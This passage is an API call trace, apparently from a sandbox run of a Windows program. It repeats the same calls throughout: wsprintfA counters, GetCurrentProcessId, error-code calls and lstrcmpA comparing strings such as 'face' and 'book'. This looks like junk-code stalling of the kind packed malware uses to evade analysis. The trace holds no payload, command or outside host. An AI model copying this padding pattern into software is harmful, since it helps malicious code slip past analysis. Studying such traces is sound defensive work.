[0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="9AP") returned 3 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcess () returned 0xffffffff [0121.709] GetLastError () returned 0x57 [0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="9BP") returned 3 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetLastError () returned 0x57 [0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="9CP") returned 3 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] lstrlenA (lpString="just string") returned 11 [0121.709] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.709] GetLastError () returned 0x57 [0121.709] GetCurrentProcess () returned 0xffffffff [0121.709] GetLastError () returned 0x57 [0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="AFP") returned 3 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetLastError () returned 0x57 [0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="B0P") returned 3 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] lstrlenA (lpString="just string") returned 11 [0121.709] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.709] GetLastError () returned 0x57 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] lstrlenA (lpString="just string") returned 11 [0121.709] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.709] GetLastError () returned 0x57 [0121.709] GetLastError () returned 0x57 [0121.709] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcess () returned 0xffffffff [0121.709] GetLastError () returned 0x57 [0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="158P") returned 4 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetCurrentProcess () returned 0xffffffff [0121.709] GetLastError () returned 0x57 [0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="159P") returned 4 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcessId () returned 0x5d8 [0121.709] GetLastError () returned 0x57 [0121.709] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="15AP") returned 4 [0121.710] SetLastError (dwErrCode=0x57) [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] lstrlenA (lpString="just string") returned 11 [0121.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.710] GetLastError () returned 0x57 [0121.710] GetCurrentProcess () returned 0xffffffff [0121.710] GetLastError () returned 0x57 [0121.710] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="18BP") returned 4 [0121.710] SetLastError (dwErrCode=0x57) [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetLastError () returned 0x57 [0121.710] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="18CP") returned 4 [0121.710] SetLastError (dwErrCode=0x57) [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] lstrlenA (lpString="just string") returned 11 [0121.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.710] GetLastError () returned 0x57 [0121.710] GetLastError () returned 0x57 [0121.710] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.710] SetLastError (dwErrCode=0x57) [0121.710] GetCurrentProcess () returned 0xffffffff [0121.710] GetLastError () returned 0x57 [0121.710] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="19EP") returned 4 [0121.710] SetLastError (dwErrCode=0x57) [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcess () returned 0xffffffff [0121.710] GetLastError () returned 0x57 [0121.710] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="19FP") returned 4 [0121.710] SetLastError (dwErrCode=0x57) [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetLastError () returned 0x57 [0121.710] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1A0P") returned 4 [0121.710] SetLastError (dwErrCode=0x57) [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] lstrlenA (lpString="just string") returned 11 [0121.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.710] GetLastError () returned 0x57 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] lstrlenA (lpString="just string") returned 11 [0121.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.710] GetLastError () returned 0x57 [0121.710] GetLastError () returned 0x57 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] lstrlenA (lpString="just string") returned 11 [0121.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.710] GetLastError () returned 0x57 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] GetCurrentProcessId () returned 0x5d8 [0121.710] lstrlenA (lpString="just string") returned 11 [0121.710] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.710] GetLastError () returned 0x57 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] lstrlenA (lpString="just string") returned 11 [0121.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.711] GetLastError () returned 0x57 [0121.711] lstrlenA (lpString="just string") returned 11 [0121.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.711] GetLastError () returned 0x57 [0121.711] GetCurrentProcess () returned 0xffffffff [0121.711] GetLastError () returned 0x57 [0121.711] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="299P") returned 4 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetLastError () returned 0x57 [0121.711] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="29AP") returned 4 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] lstrlenA (lpString="just string") returned 11 [0121.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.711] GetLastError () returned 0x57 [0121.711] GetLastError () returned 0x57 [0121.711] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcess () returned 0xffffffff [0121.711] GetLastError () returned 0x57 [0121.711] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2DEP") returned 4 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcess () returned 0xffffffff [0121.711] GetLastError () returned 0x57 [0121.711] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2DFP") returned 4 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetLastError () returned 0x57 [0121.711] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="2E0P") returned 4 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] lstrlenA (lpString="just string") returned 11 [0121.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.711] GetLastError () returned 0x57 [0121.711] GetLastError () returned 0x57 [0121.711] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcess () returned 0xffffffff [0121.711] GetLastError () returned 0x57 [0121.711] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="324P") returned 4 [0121.711] SetLastError (dwErrCode=0x57) [0121.711] GetCurrentProcessId () returned 0x5d8 [0121.711] GetCurrentProcess () returned 0xffffffff [0121.711] GetLastError () returned 0x57 [0121.711] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="325P") returned 4 [0121.711] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetLastError () returned 0x57 [0121.712] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="326P") returned 4 [0121.712] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] lstrlenA (lpString="just string") returned 11 [0121.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.712] GetLastError () returned 0x57 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] lstrlenA (lpString="just string") returned 11 [0121.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.712] GetLastError () returned 0x57 [0121.712] GetCurrentProcess () returned 0xffffffff [0121.712] GetLastError () returned 0x57 [0121.712] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="36BP") returned 4 [0121.712] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetLastError () returned 0x57 [0121.712] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="36CP") returned 4 [0121.712] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] lstrlenA (lpString="just string") returned 11 [0121.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.712] GetLastError () returned 0x57 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] lstrlenA (lpString="just string") returned 11 [0121.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.712] GetLastError () returned 0x57 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] lstrlenA (lpString="just string") returned 11 [0121.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.712] GetLastError () returned 0x57 [0121.712] GetLastError () returned 0x57 [0121.712] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.712] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcess () returned 0xffffffff [0121.712] GetLastError () returned 0x57 [0121.712] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="3ECP") returned 4 [0121.712] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcess () returned 0xffffffff [0121.712] GetLastError () returned 0x57 [0121.712] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="3EDP") returned 4 [0121.712] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetLastError () returned 0x57 [0121.712] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="3EEP") returned 4 [0121.712] SetLastError (dwErrCode=0x57) [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] GetCurrentProcessId () returned 0x5d8 [0121.712] lstrlenA (lpString="just string") returned 11 [0121.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] GetLastError () returned 0x57 [0121.713] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.713] SetLastError (dwErrCode=0x57) [0121.713] GetCurrentProcess () returned 0xffffffff [0121.713] GetLastError () returned 0x57 [0121.713] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="446P") returned 4 [0121.713] SetLastError (dwErrCode=0x57) [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcess () returned 0xffffffff [0121.713] GetLastError () returned 0x57 [0121.713] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="447P") returned 4 [0121.713] SetLastError (dwErrCode=0x57) [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetLastError () returned 0x57 [0121.713] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="448P") returned 4 [0121.713] SetLastError (dwErrCode=0x57) [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] GetLastError () returned 0x57 [0121.713] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="498P") returned 4 [0121.713] SetLastError (dwErrCode=0x57) [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.713] GetCurrentProcessId () returned 0x5d8 [0121.713] lstrlenA (lpString="just string") returned 11 [0121.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.713] GetLastError () returned 0x57 [0121.714] GetCurrentProcess () returned 0xffffffff [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="569P") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="56AP") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] lstrlenA (lpString="just string") returned 11 [0121.714] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.714] GetLastError () returned 0x57 [0121.714] GetLastError () returned 0x57 [0121.714] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcess () returned 0xffffffff [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="590P") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcess () returned 0xffffffff [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="591P") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="592P") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] lstrlenA (lpString="just string") returned 11 [0121.714] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.714] GetLastError () returned 0x57 [0121.714] GetLastError () returned 0x57 [0121.714] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcess () returned 0xffffffff [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="59AP") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcess () returned 0xffffffff [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="59BP") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetLastError () returned 0x57 [0121.714] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="59CP") returned 4 [0121.714] SetLastError (dwErrCode=0x57) [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] GetCurrentProcessId () returned 0x5d8 [0121.714] lstrlenA (lpString="just string") returned 11 [0121.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.715] GetLastError () returned 0x57 [0121.715] GetLastError () returned 0x57 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] lstrlenA (lpString="just string") returned 11 [0121.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.715] GetLastError () returned 0x57 [0121.715] GetLastError () returned 0x57 [0121.715] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcess () returned 0xffffffff [0121.715] GetLastError () returned 0x57 [0121.715] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="626P") returned 4 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcess () returned 0xffffffff [0121.715] GetLastError () returned 0x57 [0121.715] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="627P") returned 4 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetLastError () returned 0x57 [0121.715] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="628P") returned 4 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] lstrlenA (lpString="just string") returned 11 [0121.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.715] GetLastError () returned 0x57 [0121.715] GetLastError () returned 0x57 [0121.715] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcess () returned 0xffffffff [0121.715] GetLastError () returned 0x57 [0121.715] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="63AP") returned 4 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcess () returned 0xffffffff [0121.715] GetLastError () returned 0x57 [0121.715] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="63BP") returned 4 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetLastError () returned 0x57 [0121.715] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="63CP") returned 4 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.715] lstrlenA (lpString="just string") returned 11 [0121.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.715] GetLastError () returned 0x57 [0121.715] GetCurrentProcess () returned 0xffffffff [0121.715] GetLastError () returned 0x57 [0121.715] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="681P") returned 4 [0121.715] SetLastError (dwErrCode=0x57) [0121.715] GetCurrentProcessId () returned 0x5d8 [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="682P") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] lstrlenA (lpString="just string") returned 11 [0121.716] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.716] GetLastError () returned 0x57 [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="6B4P") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] lstrlenA (lpString="just string") returned 11 [0121.716] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.716] GetLastError () returned 0x57 [0121.716] GetLastError () returned 0x57 [0121.716] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcess () returned 0xffffffff [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="6E4P") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcess () returned 0xffffffff [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="6E5P") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="6E6P") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] lstrlenA (lpString="just string") returned 11 [0121.716] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.716] GetLastError () returned 0x57 [0121.716] GetLastError () returned 0x57 [0121.716] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcess () returned 0xffffffff [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="6F8P") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcess () returned 0xffffffff [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="6F9P") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetLastError () returned 0x57 [0121.716] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="6FAP") returned 4 [0121.716] SetLastError (dwErrCode=0x57) [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.716] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] lstrlenA (lpString="just string") returned 11 [0121.717] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.717] GetLastError () returned 0x57 [0121.717] GetCurrentProcess () returned 0xffffffff [0121.717] GetLastError () returned 0x57 [0121.717] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="735P") returned 4 [0121.717] SetLastError (dwErrCode=0x57) [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetLastError () returned 0x57 [0121.717] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="736P") returned 4 [0121.717] SetLastError (dwErrCode=0x57) [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] lstrlenA (lpString="just string") returned 11 [0121.717] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.717] GetLastError () returned 0x57 [0121.717] GetLastError () returned 0x57 [0121.717] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.717] SetLastError (dwErrCode=0x57) [0121.717] GetCurrentProcess () returned 0xffffffff [0121.717] GetLastError () returned 0x57 [0121.717] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="770P") returned 4 [0121.717] SetLastError (dwErrCode=0x57) [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcess () returned 0xffffffff [0121.717] GetLastError () returned 0x57 [0121.717] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="771P") returned 4 [0121.717] SetLastError (dwErrCode=0x57) [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetLastError () returned 0x57 [0121.717] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="772P") returned 4 [0121.717] SetLastError (dwErrCode=0x57) [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] GetCurrentProcessId () returned 0x5d8 [0121.717] lstrlenA (lpString="just string") returned 11 [0121.717] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] GetLastError () returned 0x57 [0121.718] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="7EAP") returned 4 [0121.718] SetLastError (dwErrCode=0x57) [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] GetLastError () returned 0x57 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] GetCurrentProcess () returned 0xffffffff [0121.718] GetLastError () returned 0x57 